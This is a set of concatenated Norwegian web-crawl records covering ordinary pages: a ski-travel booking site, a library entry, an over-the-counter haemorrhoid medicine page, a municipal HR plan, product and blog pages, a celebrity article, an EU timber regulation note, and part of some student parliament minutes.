Interhome\n\n \n### Leilighet for opp til 4 personer med 3 rom Mogador - Verbier\n\n\n\n  \n#### Hjelp med bestillingen\n\nSportreiser fungerer som en formidler av reisetjenester. Har du sp\u00f8rsm\u00e5l om bestillingen hjelper vi deg s\u00e5 raskt vi kan.\n\n**Send e-post til email@example.com.**  \nVi svarer s\u00e5 raskt vi kan, senest innen \u00e9n arbeidsdag.\n\n  \n#### Hvorfor bestille hos oss?\n\nSportreiser har 40 \u00e5rs erfaring av skireiser til Alpene.\n\n  -  **Mange avganger** direkte til sentrale flyplasser i Alpene.\n  -  **Skreddersy din reise** med fly, opphold og leiebil.\n  -  **Stort utvalg av hoteller og leiligheter** p\u00e5 fler enn 50 spesielt utvalgte skisteder.\n  -  **Vi gir deg trygghet og ekspertkompetanse** p\u00e5 skireiser til Alpene.\n  -  **Du reiser p\u00e5 dine egne betingelser, men samtidig fleksibelt og enkelt\\!**\n  -  **Sportreiser er mer av alt\\! Mer hoteller, mer flyalternativer, mer fleksible l\u00f8sninger, mer skikj\u00f8ring\\!**\n\n### Hjelp med bestillingen\n\nSportreiser fungerer som en formidler av reisetjenester. Har du sp\u00f8rsm\u00e5l om bestillingen hjelper vi deg s\u00e5 raskt vi kan.\n\n**F\u00e5 support p\u00e5 www.facebook.se/sportresor.se**  \n  \n**Send e-post til firstname.lastname@example.org.**  \nVi svarer s\u00e5 raskt vi kan, senest innen \u00e9n arbeidsdag.\n\n### Hvorfor bestille hos oss?\n\nSportreiser har 40 \u00e5rs erfaring av skireiser til Alpene.\n\n  -  **Mange avganger** direkte til sentrale flyplasser i Alpene.\n  -  **Skreddersy din reise** med fly, opphold og leiebil.\n  -  **Stort utvalg av hoteller og leiligheter** p\u00e5 fler enn 50 spesielt utvalgte skisteder.\n  -  **Vi gir deg trygghet og ekspertkompetanse** p\u00e5 skireiser til Alpene.\n  -  **Du reiser p\u00e5 dine egne betingelser, men samtidig fleksibelt og enkelt\\!**\n  -  **Sportreiser er mer av alt\\! Mer hoteller, mer flyalternativer, mer fleksible l\u00f8sninger, mer skikj\u00f8ring\\!**\n\nSportreiser er siden for deg som vil finne den laveste og beste prisen p\u00e5 skitur til Alpene. Hos Sportreiser kan du bestille **skireiser til over 40 n\u00f8ye utvalgte steder og over 5000 boalternativer i \u00d8sterrike, Sveits, Frankrike og Italia**. For at du som skikj\u00f8rer enkelt skal kunne finne det meste og det beste for akkurat din skireise, har vi valgt \u00e5 fokusere p\u00e5 det viktigste; skikj\u00f8ringen, hotellet og transporten. Velkommen til \u00e5 bestille din skireise til Alpene akkurat s\u00e5nn som du vil ha den\\!\n\n  \nSportresor/Kyrkogatan 48, 41108 G\u00f6teborg, Sverige. Org nr: 556260-9759\n", "language": "no", "__index_level_0__": "deebb2fc-287c-45cc-8ad8-d8d7ac16e4c8"}
{"url": "https://sandnes-fb.mikromarc.no/Mikromarc3/Sandnes/detail.aspx?Unit=6471&db=sandnes-fb&Id=161183&SW=annas%20himmel&SC=FT&LB=FT&MT=0&SU=63896&DG=0&ST=Normal&Browse=1&P=1", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:22:03Z", "text": "*520  $aAnna og pappa er p\u00e5 vei til mammas begravelse. Det er en dag da alt verker og det faller spiker fra himmelen. Anna snur verden p\u00e5 hodet. Hun tar pappa med p\u00e5 en fantastisk reise helt ut til bunnen av himmelen der de usynlige bor. Pappa er sorgtung og stille og Anna hjelper b\u00e5de ham og seg selv gjennom denne vanskelige dagen. Dette er en fortelling om \u00e5 gjennomleve en sorg uten at den blir trist eller sentimental, men den er poetisk og filosofisk. Billedbok for f\u00f8rskolebarn/mellomtrinnet.\nEtter en gjennomgang av Datatilsynet har formuleringen om behandling av personopplysningen f\u00f8dselsnummer i Nasjonalt l\u00e5nekort (http://lanekortet.no/brosjyre.htm) blitt presisert, og har n\u00e5 f\u00f8lgende ordlyd:  \n**\"F\u00f8dselsnummer er n\u00f8dvendig for entydig identifikasjon av personer, og utveksles via en kryptert kommunikasjonskanal mellom det sentrale l\u00e5neregisteret og det enkelte bibliotek.\"**\n", "language": "no", "__index_level_0__": "c71a1260-cdb9-4e89-bddc-ba2b6024e6fb"}
{"url": "http://www.scheriproct.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:03:20Z", "text": "# Scheriproct^(\u00ae)- mot behandling av hemoroider  \ni og omkring endetarms\u00e5pningen\n\n(prednisolonkaproat/cinkokainhydroklorid)\n\nDu er ikke alene\\!\n\n\n\n#### Scheriproct^(\u00ae) inneholder to virksomme stoffer, **Prednisolon** og **Cinkokain**.\n\n**Prednisolon** har antiinflammatorisk og kl\u00f8estillende effekt. **Cinkokain** er et lokalanestetikum som virker smertestillende.\n\n## \n\nScheriproct^(\u00ae) er et godkjent, reseptfritt legemiddel som kan brukes ved hemoroider  \ni og omkring endetarms\u00e5pningen.\n\nScheriproct^(\u00ae) finnes b\u00e5de som rektalsalve (30 gram) og som stikkpiller (12 stk).\n\nBegge pakninger kj\u00f8pes reseptfritt p\u00e5 ditt apotek eller via apotekenes nettsider.\n\nReseptfritt Scheriproct er kun beregnet p\u00e5 korttids bruk. Husk at du m\u00e5 kontakte lege dersom du ikke f\u00f8ler deg bedre eller hvis du f\u00f8ler deg verre etter 2 - 3 ukers behandling med Scheriproct. Les *alltid* pakningsvedlegget n\u00f8ye f\u00f8r du starter behandlingen med Scheriproct^(\u00ae).\n\n### Behandling med Scheriproct^(\u00ae)\n\nScheriproct\u00ae er et godkjent, reseptfritt legemiddel som kan brukes ved hemoroider i og omkring endetarms\u00e5pningen.\n\nScheriproct\u00ae finnes b\u00e5de som rektalsalve (30 gram) og stikkpiller (12 stk).\n\nLes mere om behandlingen \n\n**Scheriproct^(\u00ae)**\n\nScheriproct^(\u00ae) er et reseptfritt legemiddel mot behandling av hemoroider i og omkring endetarms\u00e5pningen. Scheriproct^(\u00ae) finnes b\u00e5de som rektalsalve (30 gram) og stikkpiller (12 stk). Scheriproct^(\u00ae) inneholder to aktive substanser, prednisolon och cinkokain. **Prednisolon** har antiinflammatorisk og kl\u00f8estillende effekt. **Cinkokain** er et lokalanestetikum som virker smertestillende. **Rektalsalve:** Voksne over 18 \u00e5r: Vanligvis p\u00e5f\u00f8res rektalsalven 2 ganger daglig, men opptil 4 ganger p\u00e5 den f\u00f8rste dagen for \u00e5 oppn\u00e5 en raskt innsettende lindring. Skal helst p\u00e5f\u00f8res etter avf\u00f8ring. **Stikkpiller:** Voksne over 18 \u00e5r: Vanligvis innf\u00f8res \u00e9n stikkpille dypt i endetarmen daglig. Ved sterke smerter kan det innf\u00f8res 2-3 stikkpiller den f\u00f8rste dagen. Skal helst innf\u00f8res etter avf\u00f8ring. **Bemerk f\u00f8lgende:** Du m\u00e5 kontakte lege dersom du ikke f\u00f8ler deg bedre etter 2-3 ukers behandling med Scheriproct. Forbedring av symptomene oppn\u00e5s vanligvis raskt, men behandlingen m\u00e5 av den grunn ikke avsluttes. For \u00e5 hindre tilbakefall m\u00e5 behandlingen fortsette i minst \u00e9n uke etter at symptomene har forsvunnet, men det kan da g\u00e5 lengre tid mellom hver dose (f.eks. p\u00e5f\u00f8ring av salve \u00e9n gang daglig, eller \u00e9n stikkpille annenhver dag). For \u00e5 redusere risikoen for at huden rundt endetarmen blir tynnere, skal Scheriproct ikke brukes sammenhengende i mer enn 4 uker. B\u00f8r ikke brukes over lengre tid uten at alvorlige sykdommer er utelukket. **Graviditet og amning:** R\u00e5df\u00f8r deg med lege eller apotek f\u00f8r du tar Scheriproct^(\u00ae), dersom du er gravid eller ammer, tror at du kan v\u00e6re gravid eller planlegger \u00e5 bli gravid. Scheriproct^(\u00ae) skal ikke brukes de 3 f\u00f8rste m\u00e5nedene av graviditeten. Bivirkninger: Som alle legemidler kan Scheriproct^(\u00ae) for\u00e5rsake bivirkninger (men ikke alle f\u00e5r det). Ved langtidsbruk (mer enn 4 uker) kan huden bli tynnere. I sjeldne tilfeller kan allergiske reaksjoner forekomme. Pakninger uten resept: 30 g salve og 12 stk stikkpiller er unntatt fra reseptplikt. **Basert p\u00e5 SPC godkjent av SLV:** 10.12.2015. Les n\u00f8ye gjennom pakningsvedlegget f\u00f8r du begynner \u00e5 bruke Scheriproct^(\u00ae).\n\n", "language": "no", "__index_level_0__": "3f94fb0e-419b-4c4e-9471-335ebd5bd920"}
{"url": "https://www.drammen.kommune.no/no/Budsjettportal-Drammen-kommune/Okonomiplaner-Drammen-kommune/2013--2016/Menneskelige-ressurser-i-Drammen-kommune-HR-/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:14:05Z", "text": "# \u00d8konomiplan 2013-2016\n\n# Menneskelige ressurser i Drammen kommune (HR)\n\n/Servicetorget%20-%20ansatt%20bak%20skranken%20snakker%20med%20kunde.jpg)\n\nDrammen kommune er Buskeruds st\u00f8rste arbeidsplass med cirka 4 300 ansatte, herav 82 prosent kvinner og 18 prosent menn. De er organisert i 41 virksomheter, fem kommunale foretak og tre r\u00e5dmannsseksjoner. Verdigrunnlaget er at Drammen kommune skal v\u00e6re en organisasjon som alle kan stole p\u00e5. Vi skal ha fokus p\u00e5 resultater, \u00e5pen kommunikasjon og lag\u00e5nd.\n\n### Hovedm\u00e5l\n\nFor \u00e5 sikre riktig og nok kompetanse n\u00e5 og i fremtiden er Drammen kommune en attraktiv, inkluderende og helsefremmende arbeidsplass.\n\n### Arbeidsgiverpolitikk\n\nStrategisk arbeidsgiverpolitikk (vedtatt i bystyret 20.02.2007) blir revidert i 2013.\n\nPartsammessatt samarbeidsutvalg er samstemte i sin vurdering av fremtidige utfordringer. Disse utfordringene vil kunne innarbeides i f\u00f8lgende omr\u00e5der:\n\n  - Kompetanse\n  - Ledelse\n  - Arbeidskultur\n  - Rekruttering\n\n  \nProsessen med \u00e5 revidere arbeidsgiverpolitikken vil involvere arbeidstakerorganisasjonene, vernetjenesten og alle lederteam i konsernet. Arbeidet vil ogs\u00e5 tydeliggj\u00f8re hvilke konsernovergripende tiltak som skal prioriteres, samt hvilke tiltak som skal gjennomf\u00f8res i det enkelte programomr\u00e5de eller virksomhet.\n\nDet vil bli satt stor oppmerksomhet p\u00e5 \u00e5 legge innhold i begrepet arbeidskultur i 2013. Tiltak vil gjennomf\u00f8res b\u00e5de konsernovergripende og i virksomhetene.\n\nR\u00e5dmann vil videref\u00f8re samlinger og kurs for alle lederteam, s\u00e6rskilt oppl\u00e6ring for nye ledere og talentprogram for potensielle ledere. I forbindelse med ny struktur i Helse- sosial og omsorg vil lederutvikling prioriteres.\n\nI planperioden vil konsernstrategi for rekruttering bli implementert. Denne gir f\u00f8ringer for hvordan Drammen kommune skal drive sitt rekrutteringsarbeid for \u00e5 sikre riktig og nok kompetanse n\u00e5 og i fremtiden. Implementering av strategien skal s\u00f8rge for kvalitetssikring ** av rekrutteringsprosessen i alle ledd, fra kartlegging av arbeidskraftsbehov til fremskaffelsen av aktuelle kandidater og utvelgelse av nye ansatte.\n\n### Kostnadene ved sykefrav\u00e6r\n\nDet settes et s\u00e6rskilt fokus p\u00e5 kostnadene ved sykefrav\u00e6r. I 2013 er det i budsjettforutsetningene lagt inn en besparelse p\u00e5 8 millioner kroner ved at sykefrav\u00e6ret p\u00e5 konsernniv\u00e5 reduseres med 0,5 prosentpoeng i forhold til resultatet for 2012. Alle virksomheter m\u00e5 bidra til at denne forutsetningen n\u00e5s.\u00a0\n\nPer 3. kvartal er sykefrav\u00e6ret s\u00e5 langt i 2012 redusert med cirka 0,3 prosentpoeng.\n\n", "language": "no", "__index_level_0__": "5a258051-d255-4c3b-8e01-6f2e4f1a6280"}
{"url": "https://www.xxl.no/trim-to-fit-i-clip-cobra-clip-17-18-skifeller/p/1138155_1_style", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:34:14Z", "text": "## PRODUKTDETALJER\n\nAllsidige feller av 70 % h\u00e5r fra angorageit og 30 % nylon. Feste for I-Clip og Cobra-Clip, som gj\u00f8r at fellene passer alle slags toppturski. 190 cm lengde.  \n  \nKombinasjonen av geiteh\u00e5r for gir god glid, sammen med nylon for h\u00f8y slitestyrke, gir brukervennlige og robuste feller. Lengden p\u00e5 fellen er 190 cm, men de leveres med en kniv, slik at man enkelt kan tilpasse dem til sine ski.  \n  \nB\u00e5de I-Clip (for retningsbestemte ski) og Cobra-Clip (for twin-tip-ski) medf\u00f8lger, slik at man f\u00e5r festet fellene til bakskien, uansett type ski. Det er to feller og \u00e9n kniv i pakken.  \n  \n**Spesifikasjoner:**  \n\\- Lengde: 190 cm  \n\\- Bredde: 135 mm\n\n", "language": "no", "__index_level_0__": "f6090e57-5bdf-4905-a710-6b1275f68196"}
{"url": "http://theonaslandliv.blogspot.com/2010/04/peis-fra-jtul.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:15:43Z", "text": "## torsdag 8. april 2010\n\n### Peis fra J\u00f8tul\n\n\n\n *Vi bestemte oss endelig for denne peisen fra J\u00f8tul, med glass p\u00e5 utsiden. Denne ble passe stor i \u00e5pningen mellom stue og gang og flammene kan ogs\u00e5 sees fra spisestuen. Parketten er lagt og ovnen med st\u00e5lpipe monteres i disse dager. Bilder kommer fra eget hus snart.*\n\n*Vi har ikke smijernsplate under, men en blank glassplate som parketten vises igjennom. Veldig fint, f\u00e5r h\u00e5pe den er like praktisk ogs\u00e5.*\n\n*Hadde \u00f8nsket meg en hvit, rund kakkelovn, men vi har nok ikke f\u00e5tt plass (heldigvis). Det kunne fort blitt en meget dyr aff\u00e6re... I dag er den nydelige tapeten fra Borge/Belle Epouqe kommet. Skal bli spennende \u00e5 klistre den opp i stua. Bilder kommer\\!*\n\n**\n\n**\n**\n\n*Klem s\u00e5 lenge...*\n\n10:59           \n\n#### 4 kommentarer:\n\n1.  \n    \n    Elis@beth8. april 2010 kl. 11:40\n    \n    S\u00e5 fin peis dokker har kj\u00f8pt\\! Glede m\u00e6 til \u00e5 se bilder fra huset dokkers\\!  \n      \n    kLEM\\!\n    \n2.  \n    \n    Ho Trude8. april 2010 kl. 11:44\n    \n    blir s\u00e5 fint hos d\u00e5kker\\! Gleder m\u00e6 til \u00e5 se det endelige resultatet.  \n    Se kem som har ordnet s\u00e6 blogg... ;-)  \n    Klem\n    \n3.  \n    \n    Hilde11. april 2010 kl. 23:58\n    \n    Hei\\! Veldig artig \u00e5 lese p\u00e5 bloggen din. Det er som \u00e5 lese om meg selv, hehe. Her i huset har vi og nettopp bestemt oss for vedovn som skal st\u00e5 ute i gamlehuset. Senere m\u00e5 vi bestemme oss for en ovn som skal st\u00e5 i det huset vi selv bor i.  \n    Vi har ogs\u00e5 et gammelt hus, eller egentlig tre (men vi holder p\u00e5 med to) hus vi restaurerer/ pusser opp. Blir spennende \u00e5 f\u00f8lge deg framover p\u00e5 bloggen din, og s\u00e5 skal jeg ta \u00e5 bla meg litt tilbake i tid p\u00e5 siden din :) Stikk gjerne innom min blogg om du har tid.  \n      \n    http://dengrnegrein.blogspot.com/  \n      \n    Jeg er for\u00f8vrig helt ny blogger s\u00e5 kanskje siden m.m ser ut deretter ;-)  \n      \n    Ha en fin uke\\!\\!\n    \n4.  \n    \n    Ho Trude14. april 2010 kl. 10:58\n    \n    heia. Da har \u00e6 lagt ut en utfordring til d\u00e6 p\u00e5 bloggen min... ;-)  \n    den tar du sikkert p\u00e5 strak arm.  \n    Vi prates.\n    \n", "language": "no", "__index_level_0__": "ac845751-13be-47be-ab77-c3f63d5d7814"}
{"url": "https://www.seher.no/kjendis/gikk-for-gull-i-gar-tar-pa-gull-i-dag/64408622", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:41:36Z", "text": "## \\- Gikk for gull i g\u00e5r, tar p\u00e5 gull i dag\\!\n\nIdol-vinner Siri V\u00f8lstad Jensen og gifteklare Marion Ravn glitret om kapp p\u00e5 r\u00f8d l\u00f8per\\! Se stor bildeserie av alle antrekkene\\!\n\n11\\. mai 2013 kl. 21.06\n\n  Malini Gaare Bj\u00f8rnstad  \nSEOGH\u00d8R.NO:\u00a0L\u00f8rdag kveld var det duket for fest i Grieghallen i Bergen, da TV-bransjen feiret seg selv under den tradisjonsrike prisutdelingen Gullruten.  \n  \nSom seg h\u00f8r og b\u00f8r ankom kjendisene i n\u00f8ye planlagte antrekk, som alle sto i stil til den glamor\u00f8se kvelden.  \n  \n**To som glitret om kapp var den nyferske \u00abIdol\u00bb-vinneren Siri V\u00f8lstad Jensen (17) og Marion Ravn (28). F\u00f8rstnevnte stakk kvelden i forveien av med den gjeve Idol-tittelen under den storsl\u00e5tte feiringen i Oslo Spektrum.**  \n  \nBegge stilte i gullpaljettkjoler, og ved hjelp av Bergens-solen som gl\u00f8ttet fram, glitret de om kapp p\u00e5 r\u00f8d l\u00f8per.  \n  \n\\- Jeg ville ha en kjole som sa gull, og fant denne glamor\u00f8se kjolen p\u00e5 Malene Birger. Skoene er fra Ingunn Birkeland, fortalte Marion Ravn til Seogh\u00f8r.no.  \n  \nDe to gulljentene kom i snakk p\u00e5 l\u00f8peren, og Marion ga den nybakte Idol-vinneren et vennlig klapp p\u00e5 skulderen.  \n  \n**- Jeg gikk for gull i g\u00e5r, s\u00e5 jeg tar p\u00e5 meg gull i dag\\! Jeg er\u00a0s\u00e5 forn\u00f8yd med hele kvelden i g\u00e5r\\! Alt gikk som planlagt, selv om de siste timene har v\u00e6rt hektiske, innr\u00f8mmer den talentfulle 17-\u00e5ringen til Seogh\u00f8r.no p\u00e5 r\u00f8d l\u00f8per.**  \n  \nOm n\u00f8yaktig to uker gifter Marion Ravn seg med snowboardkj\u00f8rer-kj\u00e6resten Andreas Ygre Wiig (31), og den gledelige begivenheten finner sted i T\u00f8nsberg p\u00e5 Marions 29-\u00e5rsdag.\u00a0  \n  \nDen gifteklare bruden var ordknapp om bryllupet, men avsl\u00f8rte allikevel overfor Seogh\u00f8r.no:  \n  \n\\- Jeg gleder meg masse til bryllupet, det er alt jeg vil si\\!\u00a0  \n  \n**LES OGS\u00c5: - Det er litt till\u00f8p til panikk f\u00f8r Gullruten**  \n  \n**LES OGS\u00c5:** Denne gangen husket han \u00e5 takke henne  \n**LES OGS\u00c5:** Mariann Hole kom med ny kj\u00e6reste til Gullrute   \n  \n  \nGULLJENTER: Marion Ravn og Siri V\u00f8lstad Jensen dukket begge opp i glitrende paljettkjoler, og str\u00e5lte omkapp med hverandre - og solen\\! Foto: Malini Gaare Bj\u00f8rnstad\n\nGULLRUTEN: Anne Berit Valla og Simen Staalnacke. Foto: Stella Pictures\n\nGULLRUTEN: Eli Kari Gjengedal. Foto: Stella Pictures\n\nGULLRUTEN: Julie Str\u00f8msv\u00e5g og Anne Lindmo. Foto: Stella Pictures\n\nGULLRUTEN: Selda Ekiz. Foto: Stella Pictures\n\nGULLRUTEN: Tangerngerudbakken-gjengen og Jarle Andh\u00f8y. Foto: Stella Pictures\n\nGULLKJOLE: Idol-vinner Siri V\u00f8lstad Jensen. Foto: Stella Pictures\n\nGULLRUTEN: Pia Lykke. Foto: Stella Pictures\n\nGULLRUTEN: Marion Ravn. Foto: Stella Pictures\n\nGULLRUTEN: Anne Rimmen. Foto: Stella Pictures\n\nGULLRUTEN: Guri Schanke. Foto: Stella Pictures\n\nGULLRUTEN: Trinny Woodall og Susannah Constantine. Foto: Stella Pictures\n\nGULLGUTT: Stian Blipp. Foto: Stella Pictures\n\nGULT ER KULT: Lene Kongsvik Johansen. Foto: Stella Pictures\n\nGULLGUTTER: Thomas Numme og Harald R\u00f8nneberg. Foto: Stella Pictures\n\nGULLRUTEN: Aylar Lie og Geir H\u00e5konsund. Foto: Stella Pictures\n\nGLITRET: Marion Ravn og Idol-vinner Siri koste seg sammen p\u00e5 r\u00f8d l\u00f8per. Foto: Malini Gaare Bj\u00f8rnstad\n\nGULLRUTEN: Mariann Hole. Foto: Stella Pictures\n\nGULLRUTEN: Margrethe R\u00f8ed. Foto: Stella Pictures\n\nTOK GULL: Jensen vant talentkonkurransen fredag kveld. Foto: NTB scanpix\n\n  \n", "language": "no", "__index_level_0__": "5f92506d-0ccf-4d58-b998-9914a8625f24"}
{"url": "http://europalov.no/rettsakt/tommerforordningen-gjennomforingsbestemmelser-om-overvakingsorganisasjoner/id-5131", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:13:52Z", "text": "\u00a0  \n\u00a0\n## N\u00e6rmere omtale\n\n**BAKGRUNN** (fra departementets E\u00d8S-notat, sist oppdatert 26.4.2013)\n\n**Sammendrag av innhold**  \nRegelverk som utdyper bestemmelser i t\u00f8mmerforordningen er for tiden under utarbeiding i Kommisjonen. EUs t\u00f8mmerforordning utfyller EUs politikk mot ulovlig hogst og handel med t\u00f8mmer og t\u00f8mmerprodukter (se eget E\u00d8S-notat). Disse gjennomf\u00f8ringsrettsaktene omtales som henholdsvis delegerte rettsakter (delegated acts) og gjennomf\u00f8ringsrettsakter (implementing acts) (se eget E\u00d8S-notat om gjennomf\u00f8ringsrettsakt til EUs t\u00f8mmerforordning). Det inneb\u00e6rer at Kommisjonen, gjennom artikkel 290 eller artikkel 291 i TFEU (The Treaty on the Functioning of the European Union), er gitt delegert myndighet til \u00e5 fastsette slike detaljerte rettsakter gjennom en forenklet prosedyre eller gjennom s\u00e5kalt komitologi.Det aktuelle forslaget til rettsakt er en delegert forordning (\"delegated act\") hjemlet i EUs T\u00f8mmerforordning art 8.7 (forordning (EU) nr. 995/2010). Denne rettsakten gir regler for godkjenning av overv\u00e5kingsorganer (monitoring organizations). Rettsakten ble vedtatt 23.2.2012.\n\n**Merknader**  \nT\u00f8mmerforordningens artikkel 8 tredje ledd bestemmer at Kommisjonen skal anerkjenne og gi organisasjoner tillatelse til \u00e5 opptre som overv\u00e5kingsorganisasjoner. Prosedyrene for godkjenning av overv\u00e5kingsorganisasjoner og tilbakekalling av godkjenning fastsettes ved denne delegerte forordningen. Overv\u00e5kingsorganisasjoner vil f\u00e5 rett til \u00e5 tilby operat\u00f8rer 'Due diligence'- systemer som fritar operat\u00f8rene fra \u00e5 ha egne systemer.\n\nVurderinger av rettslige, \u00f8konomiske eller administrative konsekvenser for Norge er ikke avsluttet.\n\nUtkast til Norsk forskrift er sendt p\u00e5 alminnelig h\u00f8ring 21.11.2012 med frist 16.01.2013.\n\n**Sakkyndige instansers merknader**  \nI november 2010 behandlet Stortingets n\u00e6ringskomit\u00e9 t\u00f8mmerforordningen, som den delegerte forordningen er hjemlet i, i henhold til sin forretningsorden paragraf 13.a. Komiteen p\u00e5pekte at regjeringen m\u00e5 s\u00f8rge for \u00e5 p\u00e5virke utformingen av retningslinjer som Kommisjonen n\u00e5 skal utarbeide for gjennomf\u00f8ring av regelverket, slik at det ikke legges un\u00f8dvendige byrder p\u00e5 norsk skogbruk og at eksisterende ordninger kan nyttes i st\u00f8rst mulig grad.\n\nT\u00f8mmerforordningens ekspertgruppe under Kommisjonen bidro til utkast til delegert forordning i 2011. Utkastet har v\u00e6rt til konsultasjon i EUs direktorater som en del av godkjenningsprosedyren. Endringene som er gjort er hovedsakelig spr\u00e5klige og endrer ikke substansen som ble diskutert i ekspertgruppen. Norge deltar b\u00e5de i t\u00f8mmerforordningens ekspertgruppe, hvor den delegerte forordningen er diskutert, og i EUs FLEGT- komit\u00e9, hvor et forslag til gjennomf\u00f8ringsrettsakt er diskutert (jf E\u00d8S-notat XX). Fremdriften f\u00f8lger EUs plan for gjennomf\u00f8ring av regelverket. Norske n\u00e6ringsut\u00f8vere har deltatt i EUs konsultasjonsm\u00f8te i Brussel (mars 2011) og det har v\u00e6rt en god dialog mellom MD/LMD og norske skogbruksorganisasjoner p\u00e5 dette omr\u00e5det.\n\nRettsakten ble tatt opp i SU-milj\u00f8 i 2011 og i E\u00d8S-referansegruppen for milj\u00f8 13.12.11.\n\n**Vurdering**  \nDet legges til grunn at ogs\u00e5 organisasjoner etablert i Norge vil kunne s\u00f8ke om godkjenning som f\u00f8lge av E\u00d8S-avtalen Protokoll 1 nr. 8 om at henvisninger til \"Fellesskapets\" territorium skal leses som henvisninger til avtalepartenes territorium. Det m\u00e5 imidlertid vurderes hvordan denne godkjenningsfunksjonen kan tilpasses E\u00d8S-avtalens og Grunnlovens rammer.\n\n**Andre opplysninger**  \nDen delegerte forordningen (Commission Delegated Regulation (EU) No 363/2012 of 23 February 2012 on the procedural rules for the recognition and withdrawal of recognition of monitoring organisations as provided for in Regulation (EU) No 995/2010 of the European Parliament and of the Council laying down the obligations of operators who place timber and timber products on the market), ble publisert i EU sin Official Journal. http://eur-lex.europa.eu/JOHtml.do?uri=OJ:L:2012:115:SOM:EN:HTML\n", "language": "no", "__index_level_0__": "c256c287-1d08-4adc-9b62-b854f0f6517c"}
{"url": "http://broggisverden.blogspot.co.at/2010_04_01_archive.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:05:46Z", "text": "## mandag 19. april 2010\n\n### Skissedilla\n\nDe siste ukene har v\u00e6rt veldig hektiske og begivenhetsrike, med p\u00e5ske, skole, oppgaveinnleveringer, jobb, Grorudtreff, Metallica konsert (r\u00e5\u00e5\u00e5\u00e5\u00e5tt\\!), bursdager til den st\u00f8rste og den minste guttene i familien, og bitte litte granne lesing...  \n  \nS\u00e5 her kommer oppsamlingsheat med de siste bidragene til Skissedilla:)  \n  \n  \n  \n\n\n", "language": "no", "__index_level_0__": "b3513267-7e03-48e8-ab0e-37e1c04293d2"}
{"url": "http://docplayer.me/1460642-Moteinnkalling-til-studentparlamentets-medlemmer.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-25T00:12:45Z", "text": "\n\n7 l\u00e6ringsmetoder som kan tilbys b\u00e5de i et kort tidsperspektiv men ogs\u00e5 i et lengre tidsperspektiv. Et annet element som kan ses \u00e5 v\u00e6re fordelaktig ved strategidokumentet til UiT er punktet herunder Internasjonalisering. Utenlandske studenter som skal studere ved UiT kan gis muligheten til \u00e5 forberede seg til norske forelesninger/norske emner som krever noen norskkunnskaper eller kulturforst\u00e5else. Slik forespeiler ML og Sosdem seg noen av punktene som kan gj\u00f8re studiehverdagen enklere for alle studenter ved UiT, samtidig som UiT kan v\u00e6re en foregangsinstitusjon innen fremragende studiekvalitet. Vedtak: Resolusjonen vedtas Vedtaket er enstemmig M\u00f8tet heves klokken 20:13\n\n\n\n8 LEDER 19/02/2014 AU/1314 Til: Studentparlamentets representanter M\u00f8tedato: Orientering fra leder \u00c6rede parlament. Gratulerer med nytt studenthus\\! Denne m\u00e5neden b\u00e6rer preg av planlegging, Arbeidsutvalget har f\u00e5tt mange oppgaver av parlamentet og jobber med \u00e5 implementere dem s\u00e5 godt som mulig. Saken om studentombud g\u00e5r videre i systemet og blir en sak i universitetsstyret, jeg har levert innspill til UiT administrasjonen om hvorfor studentene trenger et studentombud. Det har i Troms\u00f8 v\u00e6rt m\u00f8te i R\u00e5d for h\u00f8yere utdanning i Nord Norge. P\u00e5 m\u00f8tet ble jeg stilt sp\u00f8rsm\u00e5l om STINN, Studenttinget i Nord Norge er aktivt, det er det ikke, men har en post i budsjettet til RHU i Nord Norge. Jeg \u00f8nsker \u00e5 finne ut om det er et behov for dette og skal ta det opp med lederne for de andre studentorganene i Nord Norge. DebutUKA har holdt sitt \u00e5rsm\u00f8te og har valgt Maya \u00c5sli til ny leder. Arbeidsutvalget, ved undertegnede og internasjonaltansvarlig inviterte \u00c5sli til \u00e5 delt p\u00e5 en konferanse i Oslo 13.feburar. Det ble opprettet et samarbeidsorgan for fadderuken som skal best\u00e5 av DebutUKA, Rektoratet, Studentparlamentet, Studentr\u00e5dgivinga og Driv. M\u00e5let for organet er \u00e5 levere et helhetlig tilbud til nye studenter ved UiT. Kunnskapsdepartementet skal i disse dager fordele studentboliger, til dette har jeg levert innspill fra studentene i Troms\u00f8, der behovet til studentene i Troms\u00f8 blir redegjort for. S\u00e5 har jeg hjulpet til med \u00e5 skrive reglement for kontortildeling. Studentsamfunnet Driv har hatt \u00e5rsm\u00f8te, der har jeg sittet i valgkomiteen, der ble Magnus Anderson valgt til president. Vennlig hilsen Marianne Haukland\n\n\n\n9 Studentparlamentet Arkivref.: AU/1314 Dato: Orientering fra Nestleder \u00c6rede parlamentsmedlemmer I de 9 arbeidsdagene siden sist m\u00f8te har jeg jobbet med \u00e5 organisere og planlegge Super SU, som ble avholdt med alle fakulteter tilstede. Vi bestemte oss for \u00e5 vente med neste del av Komit\u00e9strukturen til neste m\u00f8te p\u00e5 grunn av liten tid. Jeg har ogs\u00e5 jobbet videre med planleggingen av Fornybardagen og er snart klare til \u00e5 begynne \u00e5 sende ut s\u00f8knader for st\u00f8ttemidler.\n\n\n\n10 VELFERDSANSVARLIG 12/02/2014 XX/1314 Til: Studentparlamentets representanter M\u00f8tedato: Orientering fra velferdsansvarlig Siden forrige m\u00f8te har ikke all verdens skjedd, 